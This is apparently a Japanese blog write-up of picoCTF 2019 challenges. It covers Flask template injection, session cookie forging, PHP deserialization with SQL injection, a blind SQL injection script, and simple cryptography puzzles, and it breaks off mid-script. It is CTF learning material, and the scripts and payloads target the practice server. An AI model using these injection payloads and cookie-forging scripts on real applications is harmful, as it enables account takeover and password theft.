Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: https://2019shell1.picoctf.com/problem/10833/ (link), can you help us find it? or http://2019shell1.picoctf.com:10833

以下のように入力すると、Flaskの設定情報が出てきました。 ​

{{ config.items() }}

dict_items([
    ('ENV', 'production'),
    ('DEBUG', False),
    ('TESTING', False),
    ('PROPAGATE_EXCEPTIONS', None),
    ('PRESERVE_CONTEXT_ON_EXCEPTION', None),
    ('SECRET_KEY', 'picoCTF{your_flag_is_in_another_castle12345678}'),
    ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)),
    ('USE_X_SENDFILE', False),
    ('SERVER_NAME', None),
    ('APPLICATION_ROOT', '/'),
    ('SESSION_COOKIE_NAME', 'session'),
    ('SESSION_COOKIE_DOMAIN', False),
    ('SESSION_COOKIE_PATH', None),
    ('SESSION_COOKIE_HTTPONLY', True),
    ('SESSION_COOKIE_SECURE', False),
    ('SESSION_COOKIE_SAMESITE', None),
    ('SESSION_REFRESH_EACH_REQUEST', True),
    ('MAX_CONTENT_LENGTH', None),
    ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),
    ('TRAP_BAD_REQUEST_ERRORS', None),
    ('TRAP_HTTP_EXCEPTIONS', False),
    ('EXPLAIN_TEMPLATE_LOADING', False),
    ('PREFERRED_URL_SCHEME', 'http'),
    ('JSON_AS_ASCII', True),
    ('JSON_SORT_KEYS', True),
    ('JSONIFY_PRETTYPRINT_REGULAR', False),
    ('JSONIFY_MIMETYPE', 'application/json'),
    ('TEMPLATES_AUTO_RELOAD', None),
    ('MAX_COOKIE_SIZE', 4093),
    ('SQLALCHEMY_DATABASE_URI', 'sqlite://'),
    ('SQLALCHEMY_TRACK_MODIFICATIONS', False),
    ('SQLALCHEMY_BINDS', None),
    ('SQLALCHEMY_NATIVE_UNICODE', None),
    ('SQLALCHEMY_ECHO', False),
    ('SQLALCHEMY_RECORD_QUERIES', None),
    ('SQLALCHEMY_POOL_SIZE', None),
    ('SQLALCHEMY_POOL_TIMEOUT', None),
    ('SQLALCHEMY_POOL_RECYCLE', None),
    ('SQLALCHEMY_MAX_OVERFLOW', None),
    ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False),
    ('SQLALCHEMY_ENGINE_OPTIONS', {}),
    ('BOOTSTRAP_USE_MINIFIED', True),
    ('BOOTSTRAP_CDN_FORCE_SSL', False),
    ('BOOTSTRAP_QUERYSTRING_REVVING', True),
    ('BOOTSTRAP_SERVE_LOCAL', False),
    ('BOOTSTRAP_LOCAL_SUBDOMAIN', None)
])

​ SECRET_KEYが判明したので、sessionのデコードが可能です。 以下のリンクの記事を参考にデコードしました。

qiita.com

#!/usr/bin/env python3
import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer
<200b>
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )
<200b>
class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)
<200b>
    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)
<200b>
<200b>
if __name__ == '__main__':
    secret_key = 'picoCTF{your_flag_is_in_another_castle12345678}'
    cookie = '.eJwlz01OwzAQQOG7eN3F2GOP7W6ROAF7y54fiAqkcpIFqnp3gjjAJ733cM2mbh_uus9DL64t4q6OjSpSZUrFEzLEPtDUIufgSzT1ElNBygNj9WQ8olUIlqqXhBBjUmBQHFJGLmJAIgMiI2kcHSQkgY6WFIEQTZgTDA51ZALiKuQujrdpbV9v-v3Xw4YhpBBhmFcB7EIhEGfOXXJF1FISSD6d9Hlrm_LU_YT3hdeXt9fHsm-tty9tP-sxm332d0NJ1Et_nubYdP6Po3v-Ao5GUc8.XZ6M9w.qam0y2OrwZKekMzQmvpFQ0b1OyY'
    print(FlaskSessionCookieManager.decode(secret_key, cookie))

実行して、デコードするとフラグが確認できました。 ​

$ python solve.py 
{'_id': 'cf69369c658163c04ab3fef4c72184fe1d458367b34916fcb4f902f591d530445e0c0e3bd8b78df06ddb04c36e4ba0d25d0a3f5e30633fdcc50bc29b7606c9d6', 'dark_secret': 'picoCTF{its_a_me_your_flagf3d56a8a}', '_fresh': True, 'user_id': '3', 'csrf_token': 'ccf3225240bf1ed03ad6226c7c7ad7933e8850d7'}

picoCTF{its_a_me_your_flagf3d56a8a}

Java Script Kiddie 2 - Points: 450

The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/4157 or http://2019shell1.picoctf.com:4157

JavaScriptのコードを見ると、32文字のキーを指定できるようになっていました。 ただし、よく見ると偶数番目のキー(16文字)しか使用されていません。 ここまで分かれば、前回と同様なので、PNGのヘッダと同じ値にデコードできるようにキーを指定すれば、フラグが取得できそうです。

ChromeのDevToolsでデバッグしながら、うまく変換されるキーを探し出しました。

50503000306020104050306020203030

QRコードを読み取ると、フラグが出てきました。

picoCTF{f00efa6fa68b2b71aa40c7121bb3d41b}

cereal hacker 1 - Points: 450

Login as admin. https://2019shell1.picoctf.com/problem/21885/ or http://2019shell1.picoctf.com:21885

ユーザ名、パスワード共に guest を指定してログインすると、以下のページに誘導されました。

https://2019shell1.picoctf.com/problem/21885/index.php?file=regular_user

Cookieを確認すると、user_info に以下の文字列が格納されていました。

TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiZ3Vlc3QiO3M6ODoicGFzc3dvcmQiO3M6NToiZ3Vlc3QiO30%253D

Base64 デコード すると以下のようになります。PHPのserialize結果がBase64エンコードされていたようです。

O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}

ユーザ名に admin パスワードに ' or 'A'='A と指定して、SQLインジェクションを試してみました。

O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or 'A'='A";}
↓ Base64 エンコード
TzoxMToicGVybWlzc2lvbnMiOjI6e3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6MTE6Iicgb3IgJ0EnPSdBIjt9

Base64エンコード結果をCookieuser_info に格納して、以下にアクセスするとフラグが表示されました。

https://2019shell1.picoctf.com/problem/21885/index.php?file=login

Welcome to the admin page!
Flag: picoCTF{bf6e88e74b87d24e35b1f71b78d49e28}

picoCTF{bf6e88e74b87d24e35b1f71b78d49e28}

Empire3 - Points: 500

Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? https://2019shell1.picoctf.com/problem/49865/ (link) or http://2019shell1.picoctf.com:49865

以下のように入力すると、Flaskの設定情報が出てきました。 ​

{{hoge.__init__.__globals__.sys.modules.app.app.__dict__}}
Very Urgent: {'import_name': 'app', 'template_folder': 'templates', 'root_path': '/problems/empire3_1_96368a0219a56d357ed9974de8b8f7d5/app', '_static_folder': 'static', '_static_url_path': None, 'cli': <flask.cli.AppGroup object at 0x7f99cecbf278>, 'instance_path': './instance', 'config': <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': 'ce6a474e832ece298c50448e1feb069d', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'sqlite://', 'SQLALCHEMY_TRACK_MODIFICATIONS': False, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False, 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'BOOTSTRAP_USE_MINIFIED': True, 'BOOTSTRAP_CDN_FORCE_SSL': False, 'BOOTSTRAP_QUERYSTRING_REVVING': True, 'BOOTSTRAP_SERVE_LOCAL': False, 'BOOTSTRAP_LOCAL_SUBDOMAIN': None}>, 'view_functions': {'static': <bound method _PackageBoundObject.send_static_file of <Flask 'app'>>, 'bootstrap.static': <bound method _PackageBoundObject.send_static_file of <flask.blueprints.Blueprint object at 0x7f99cb5210b8>>, 'index': <function index at 0x7f99cb4d4c80>, 'login': <function login at 0x7f99cb4d4bf8>, 'register': <function register at 0x7f99cb4d4d08>, 'add_item': <function add_item at 0x7f99cb4d4e18>, 'list_items': <function list_items at 0x7f99cb5022f0>, 'employee': <function employee at 0x7f99cb502510>, 'logout': <function logout at 0x7f99cb502730>}, 'error_handler_spec': {None: {404: {<class 'werkzeug.exceptions.NotFound'>: <function not_found_error at 0x7f99cb4d49d8>}}}, 'url_build_error_handlers': [], 'before_request_funcs': {}, 'before_first_request_funcs': [], 'after_request_funcs': {None: [<bound method LoginManager._update_remember_cookie of <flask_login.login_manager.LoginManager object at 0x7f99cb5215c0>>]}, 'teardown_request_funcs': {}, 'teardown_appcontext_funcs': [<function SQLAlchemy.init_app.<locals>.shutdown_session at 0x7f99cb537950>], 'url_value_preprocessors': {}, 'url_default_functions': {}, 'template_context_processors': {None: [<function _default_template_ctx_processor at 0x7f99cc608d90>, <function _user_context_processor at 0x7f99cb8cf268>]}, 'shell_context_processors': [], 'blueprints': {'bootstrap': <flask.blueprints.Blueprint object at 0x7f99cb5210b8>}, '_blueprint_order': [<flask.blueprints.Blueprint object at 0x7f99cb5210b8>], 'extensions': {'sqlalchemy': <flask_sqlalchemy._SQLAlchemyState object at 0x7f99cb521e10>, 'bootstrap': {'cdns': {'local': <flask_bootstrap.StaticCDN object at 0x7f99cb5215f8>, 'static': <flask_bootstrap.StaticCDN object at 0x7f99cb521ac8>, 'bootstrap': <flask_bootstrap.ConditionalCDN object at 0x7f99cb58bfd0>, 'jquery': <flask_bootstrap.ConditionalCDN object at 0x7f99cb53a9b0>, 'html5shiv': <flask_bootstrap.ConditionalCDN object at 0x7f99cb53ab00>, 'respond.js': <flask_bootstrap.ConditionalCDN object at 0x7f99cb53ab70>}}, 'nav_renderers': {'bootstrap': ('flask_bootstrap.nav', 'BootstrapRenderer'), None: ('flask_bootstrap.nav', 'BootstrapRenderer')}}, 'url_map': Map([<Rule '/list_items' (HEAD, OPTIONS, GET) -> list_items>, <Rule '/register' (HEAD, OPTIONS, POST, GET) -> register>, <Rule '/add_item' (HEAD, OPTIONS, POST, GET) -> add_item>, <Rule '/employee' (HEAD, OPTIONS, GET) -> employee>, <Rule '/logout' (HEAD, OPTIONS, GET) -> logout>, <Rule '/index' (HEAD, OPTIONS, GET) -> index>, <Rule '/login' (HEAD, OPTIONS, POST, GET) -> login>, <Rule '/' (HEAD, OPTIONS, GET) -> index>, <Rule '/static/bootstrap/<filename>' (HEAD, OPTIONS, GET) -> bootstrap.static>, <Rule '/static/<filename>' (HEAD, OPTIONS, GET) -> static>]), 'subdomain_matching': False, '_got_first_request': True, '_before_request_lock': <unlocked _thread.lock object at 0x7f99ced04d50>, 'name': 'app', 'login_manager': <flask_login.login_manager.LoginManager object at 0x7f99cb5215c0>, 'jinja_env': <flask.templating.Environment object at 0x7f99cb521fd0>, 'jinja_loader': <jinja2.loaders.FileSystemLoader object at 0x7f99caf19898>}

前回と同様に SECRET_KEY が確認できるので、以下のリンクの記事を参考にデコードしました。 また、デコードすると、'user_id': '6' という項目が見えたので、user_idを6から2に変更してエンコードしてみます。

qiita.com

#!/usr/bin/env python3
import zlib
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import base64_decode, URLSafeTimedSerializer
<200b>
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
    # NOTE: Override method
    def get_signing_serializer(self, secret_key):
        signer_kwargs = {
            'key_derivation': self.key_derivation,
            'digest_method': self.digest_method
        }
        return URLSafeTimedSerializer(
            secret_key,
            salt=self.salt,
            serializer=self.serializer,
            signer_kwargs=signer_kwargs
        )
<200b>
class FlaskSessionCookieManager:
    @classmethod
    def decode(cls, secret_key, cookie):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.loads(cookie)
<200b>
    @classmethod
    def encode(cls, secret_key, session):
        sscsi = SimpleSecureCookieSessionInterface()
        signingSerializer = sscsi.get_signing_serializer(secret_key)
        return signingSerializer.dumps(session)
<200b>
<200b>
if __name__ == '__main__':
    secret_key = 'ce6a474e832ece298c50448e1feb069d'
    cookie = '.eJwlj0GOAjEMBP-SMwfHdpyYz4xix9YipF1pBk6IvzNo79WlrlfZco_jp1wf-zMuZbutci0LKT2wGfIkBLUFsxJKqxFiiwwbO6dWXtWny-oKzr2FpyeozpPvo4Mpip8O8wGUPU3EsyHpsFDhFdKmJLCOAcLQKVIlBpRL8WPP7fF3j9_zz4QmdMLuqOZmow0nm4JDVUGT6uzB_t09j9j_I6S8P-KOPy4.XZ6zUQ.68q9mcR3zPZhvVjHj1leknR39hI'
    print(FlaskSessionCookieManager.decode(secret_key, cookie))
<200b>
    session = {'user_id': '2', '_fresh': True, 'csrf_token': 'a0563e65cc29bcbb858c3ba62899909f31a7e4c0', '_id': 'd23fce25b24a3209bd0a132651ee6bd3b254c4f914d1cac6d790c475ecfcf099ad0a7870b926c24abc803f7fb66cf52398be964de65a6f04988064073ef96e80'}
    print(FlaskSessionCookieManager.encode(secret_key, session))

実行すると、以下のようになります。エンコード結果をCookieに入れてページを更新すると、別ユーザでログインができました。 ​

$ python solve.py 
{'user_id': '6', '_id': 'd23fce25b24a3209bd0a132651ee6bd3b254c4f914d1cac6d790c475ecfcf099ad0a7870b926c24abc803f7fb66cf52398be964de65a6f04988064073ef96e80', '_fresh': True, 'csrf_token': 'a0563e65cc29bcbb858c3ba62899909f31a7e4c0'}
.eJwlj0GOAjEMBP-SMwfHdpyYz4xix9YipF1pBk6IvzNo79WlrlfZco_jp1wf-zMuZbutci0LKT2wGfIkBLUFsxJKqxFiiwwbO6dWXtWny-oKzr2FpyeozpPvo4Mpip8O8wGUPU3EsyHpsFDhFdKmJLCOAcLQKVIlBpRL8WPP7fF3j9_zz4QmdMLuqOZmow0nm4JDVUGT6uzB_t09j9j_I7C8P-KCPyo.XZ6zyA.8uz51Tc99ltKGYRP04QGe6iaJTE

​ ログインできたユーザのページのToDoリストのページを見ると、フラグが書かれていました。

Very Urgent: Do dastardly plan: picoCTF{cookies_are_a_sometimes_food_e53b6d53}

picoCTF{cookies_are_a_sometimes_food_e53b6d53}

cereal hacker 2 - Points: 500

Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195

phpのfilterを使って、ソースコードを漏洩させることに成功しました。

https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=login

Base64デコードすると、以下のようなソースコードとなっていました。

<?php

require_once('../sql_connect.php');
require_once('cookie.php');

if(isset($_POST['user']) && isset($_POST['pass'])){
    if(isset($_COOKIE['user_info'])){
        unset($_COOKIE['user_info']);
    }
    $u = $_POST['user'];
    $p = $_POST['pass'];

    if($sql_conn_login->connect_errno){
        die('Could not connect');
    }

    if (!($prepared = $sql_conn_login->prepare("SELECT username, admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
        die("SQL error");
    }

    $prepared->bind_param('ss', $u, $p);
    
    if (!$prepared->execute()) {
        die("SQL error");
    }
    
    if (!($result = $prepared->get_result())) {
        die("SQL error");
    }

    $r = $result->fetch_all();

    if($result->num_rows === 1){
        $perm = new permissions($u, $p);
        setcookie('user_info', urlencode(base64_encode(serialize($perm))), time() + (86400 * 30), "/");
        header('Location: index.php?file=login');
    }
    else{
        $error = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
    }
    $sql_conn_login->close();
}
else if(isset($perm) && $perm->is_admin()){
    header('Location: index.php?file=admin');
    die();
}
else if(isset($perm)){
    header('Location: index.php?file=regular_user');
    die();
}

?>

    <body>
        <div class="container">
            <div class="row">
                <div class="col-sm-9 col-md-7 col-lg-5 mx-auto">
                    <div class="card card-signin my-5">
                        <div class="card-body">
                            <h5 class="card-title text-center">Sign In</h5>
                            <?php if (isset($error)) echo $error;?>
                            <form class="form-signin" action="index.php?file=login" method="post">
                                <div class="form-label-group">
                                    <input type="text" id="user" name="user" class="form-control" placeholder="Username" required autofocus>
                                    <label for="user">Username</label>
                                </div>

                                <div class="form-label-group">
                                    <input type="password" id="pass" name="pass" class="form-control" placeholder="Password" required>
                                    <label for="pass">Password</label>
                                </div>

                                <button class="btn btn-lg btn-primary btn-block text-uppercase" type="submit">Sign in</button>
                            </form>
                        </div>
                    </div>
                </div>
            </div>
        </div>

    </body>

cookie.php を読み出しているようなので、これも出力させました。

https://2019shell1.picoctf.com/problem/62195/index.php?file=php://filter/convert.base64-encode/resource=cookie
<?php

require_once('../sql_connect.php');

// I got tired of my php sessions expiring, so I just put all my useful information in a serialized cookie
class permissions
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        //$q = 'SELECT admin FROM pico_ch2.users WHERE username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        if (!($prepared = $sql_conn->prepare("SELECT admin FROM pico_ch2.users WHERE username = ? AND password = ?;"))) {
            die("SQL error");
        }

        $prepared->bind_param('ss', $this->username, $this->password);
    
        if (!$prepared->execute()) {
            die("SQL error");
        }
        
        if (!($result = $prepared->get_result())) {
            die("SQL error");
        }

        $r = $result->fetch_all();
        if($result->num_rows !== 1){
            $is_admin_val = 0;
        }
        else{
            $is_admin_val = (int)$r[0][0];
        }
        
        $sql_conn->close();
        return $is_admin_val;
    }
}

/* legacy login */
class siteuser
{
    public $username;
    public $password;
    
    function __construct($u, $p){
        $this->username = $u;
        $this->password = $p;
    }

    function is_admin(){
        global $sql_conn;
        if($sql_conn->connect_errno){
            die('Could not connect');
        }
        $q = 'SELECT admin FROM pico_ch2.users WHERE admin = 1 AND username = \''.$this->username.'\' AND (password = \''.$this->password.'\');';
        
        $result = $sql_conn->query($q);
        if($result->num_rows != 1){
            $is_user_val = 0;
        }
        else{
            $is_user_val = 1;
        }
        
        $sql_conn->close();
        return $is_user_val;
    }
}


if(isset($_COOKIE['user_info'])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE['user_info'])));
    }
    catch(Exception $except){
        die('Deserialization error.');
    }
}

?>

cookie.php には、使用されていないsiteuserクラスがあり、SQLインジェクションができそうです。 siteuser を呼び出すように調整し、Base64エンコードしたものをCookieuser_info に登録して、更新するとログインすることができました。

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:11:"' or 'A'='A";}
↓ Base64エンコード
Tzo4OiJzaXRldXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiJhZG1pbiI7czo4OiJwYXNzd29yZCI7czoxMToiJyBvciAnQSc9J0EiO30=

ログインすると、以下のようなメッセージが出てきます。今回は、adminのパスワードがフラグとなっているようです。

Welcome to the admin page!
Flag: Find the admin's password!

パスワードの個所を' or binary password like 'pico%に変更してみました。これでもログインできるようです。

O:8:"siteuser":2:{s:8:"username";s:5:"admin";s:8:"password";s:32:"' or binary password like 'pico%";}

Blind SQLインジェクションでパスワードを特定することができそうです。 以下のようなスクリプトを作成し、パスワードを1文字ずつ特定していきました。

import requests
import base64
import string

def check_password(password):
    php_serialize = "O:8:\"siteuser\":2:{s:8:\"username\";s:5:\"admin\";s:8:\"password\";s:" + str(len(password) + 28) + ":\"' or binary password like '" + password + "%\";}"
    user_info = base64.b64encode(php_serialize.encode("utf-8")).decode("utf-8")

    url = "https://2019shell1.picoctf.com/problem/62195/index.php"
    params = {"file": "admin"}
    headers = {'Cookie': "user_info=" + user_info}
    response = requests.get(url, params=params, headers=headers)
    if "You are not admin!" in response.text:
        return False
    else:
        return True

def main():
    flag = ""
    while True:
        for ch in string.printable:
            if ch == "%" or ch == "_" or ch == "\\":
                ch = "\\" + ch
            test_flag = flag + ch
            if check_password(test_flag):
                flag = test_flag
                print(flag)
                break

if __name__ == "__main__":
    main()

実行すると、1文字ずつパスワードが出力されていきます。

$ python solve.py
p
pi
pic

# 省略

picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb
picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7
picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}

# 省略

picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}

Cryptography

The Numbers - Points: 50

The numbers... what do they mean?

数字の書かれた画像が渡されます。各番号がアルファベットの何番目かを示しているようです。 また、Hintsを見ると、すべて大文字であると書かれていました。

以上の条件を基に、変換用のスクリプトを用意しました。

def main():
    alphabet = []
    for i in range(26):
        alphabet.append(chr(ord("A") + i))
    
    enc_flag_prefix = [16, 9, 3, 15, 3, 20, 6]
    enc_flag_body = [20, 8, 5, 14, 21, 13, 2, 5, 18, 19, 13, 1, 19, 15, 14]

    flag = ""
    for i in enc_flag_prefix:
        flag += alphabet[i - 1]
    flag += "{"
    for i in enc_flag_body:
        flag += alphabet[i - 1]
    flag += "}"
    print(flag)

if __name__ == "__main__":
    main()

実行すると、フラグが表示されます。

$ python solve.py 
PICOCTF{THENUMBERSMASON}

PICOCTF{THENUMBERSMASON}

13 - Points: 100

Cryptography can be easy, do you know what ROT13 is? cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}

ROT13で変換するだけ

picoCTF{not_too_bad_of_a_problem}

Easy1 - Points: 100

The one time pad can be cryptographically secure, but not when you know the key. Can you solve this? We've given you the encrypted flag, key, and a table to help UFJKXQZQUNB with the key of SOLVECRYPTO. Can you use this table to solve it?.

table.txtを見ると、ヴィジュネル暗号だと分かりました。 今回は、以下のサイトを使って解きました。

www.dcode.fr

ENCODE_DATAVIGENERE CIPHERTEXT: UFJKXQZQUNB KNOWING THE KEY/PASSWORD: SOLVECRYPTO

picoCTF{CRYPTOISFUN}

caesar - Points: 100

Decrypt this message. You can find the ciphertext in /problems/caesar_6_238b8f4604d91ecb59cda5b4f0e66fc8 on the shell server.

rgdhhxcviwtgjqxrdcdydkefyh を11文字ずらすと、crossingtherubiconojovpqjs となり、読める文字列が出てきました。 この文字列がフラグとなっていました。

picoCTF{crossingtherubiconojovpqjs}

Flags - Points: 200

What do the flags mean?

国際信号旗が並んだ画像なので、それぞれ文字に変換するとフラグになります。

www.chartandmapshop.com.au

PICOCTF{F1AG5AND5TUFF}

Mr-Worldwide - Points: 200

A musician left us a message. What's it mean?

message.txtを開くと、以下のようになっています。

picoCTF{(35.028309, 135.753082)(46.469391, 30.740883)(39.758949, -84.191605)(41.015137, 28.979530)(24.466667, 54.366669)(3.140853, 101.693207)_(9.005401, 38.763611)(-3.989038, -79.203560)(52.377956, 4.897070)(41.085651, -73.858467)(57.790001, -152.407227)(31.205753, 29.924526)}

GPSの緯度経度になっていそうです。 GoogleMapで検索し、その都市の頭文字がフラグとなっていました。

picoCTF{KODIAK_ALASKA}

Tapping - Points: 200

Theres tapping coming in from the wires. What's it saying nc 2019shell1.picoctf.com 21897.

netcatで2019shell1.picoctf.com:21897に接続すると、モールス信号が出てきました。以下のサイトで変換すると、フラグとなりました。

morse.ariafloat.com

PICOCTF{M0RS3C0D31SFUN1818224575}

la cifra de - Points: 200

I found this cipher in an old book. Can you figure out what it says? Connect with nc 2019shell1.picoctf.com 1172.

netcatで2019shell1.picoctf.com:1172 に接続すると、暗号化された文章が表示されます。 Vigenere Solverというサービスに文章を張り付けて「Break Cipher」を押すと、復号されました。

www.guballa.de

picoCTF{b311a50_0r_v1gn3r3_c1ph3raac148e7}

rsa-pop-quiz - Points: 200

Class, take your seats! It's PRIME-time for a quiz... nc 2019shell1.picoctf.com 49989

RSAに関する問題が出題されるので、1問1問解いていく必要があります。 以下のスクリプトを作成して解きました。

from pwn import *
from egcd import egcd
from Crypto.Util.number import *

con = remote("2019shell1.picoctf.com", 49989)

# #### NEW PROBLEM ####
# q : 60413
# p : 76753
# ##### PRODUCE THE FOLLOWING ####
# n
p = 60413
q = 76753
n = p * q
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("n:", str(n))

# #### NEW PROBLEM ####
# p : 54269
# n : 5051846941
# ##### PRODUCE THE FOLLOWING ####
# q
p = 54269
n = 5051846941
q = int(n/p)
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("q:", str(q))

# #### NEW PROBLEM ####
# e : 3
# n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920
# 409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223
# 827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349
# 888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998
# 608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873
# 769413489072243477764350071787327913
# ##### PRODUCE THE FOLLOWING ####
# q
# p
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "N")

# #### NEW PROBLEM ####
# q : 66347
# p : 12611
# ##### PRODUCE THE FOLLOWING ####
# totient(n)
q = 66347
p = 12611
totient = (q - 1) * (p - 1)
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("totient(n):", str(totient))

# #### NEW PROBLEM ####
# plaintext : 635729417148931154719098761554457513358196788649948409135266140641404444047520534288284123635766597343146
# 2491355089413710392273380203038793241564304774271529108729717
# e : 3
# n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116
# 332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159
# 718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087
# 472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943
# 158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054
# 327141666320553082128424707948750331
# ##### PRODUCE THE FOLLOWING ####
# ciphertext
plaintext = 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e = 3
n = 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
ciphertext = pow(plaintext, e, n)
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "Y")
con.sendlineafter("ciphertext:", str(ciphertext))

# #### NEW PROBLEM ####
# ciphertext : 10752401345107934853994451075614360420392571726218503379932844501179276054552894499371978339254216342863
# 717232351225262456711111066616866474311520379151098570994236660962643699588778167465127223356630381497967750710116858
# 7739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
# e : 3
# n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165
# 260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332
# 556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947
# 907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246
# 790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939
# 559180772690007261562703222558103359
# ##### PRODUCE THE FOLLOWING ####
# plaintext
con.sendlineafter("IS THIS POSSIBLE and FEASIBLE? (Y/N):", "N")

# #### NEW PROBLEM ####
# q : 92092076805892533739724722602668675840671093008520241548191914215399824020372076186460768206814914423802230398410
# 980218741906960527104568970225804374404612617736579286959865287226538692911376507934256844456333236362669879347073756
# 238894784951597211105734179388300051579994253565459304743059533646753003894559
# p : 97846775312392801037224396977012615848433199640105786119757047098757998273009741128821931277074555731813289423891
# 389911801250326299324018557072727051765547115514791337578758859803890173153277252326496062476389498019821358465433398
# 338364421624871010292162533041884897182597065662521825095949253625730631876637
# e : 65537
# ##### PRODUCE THE FOLLOWING ####
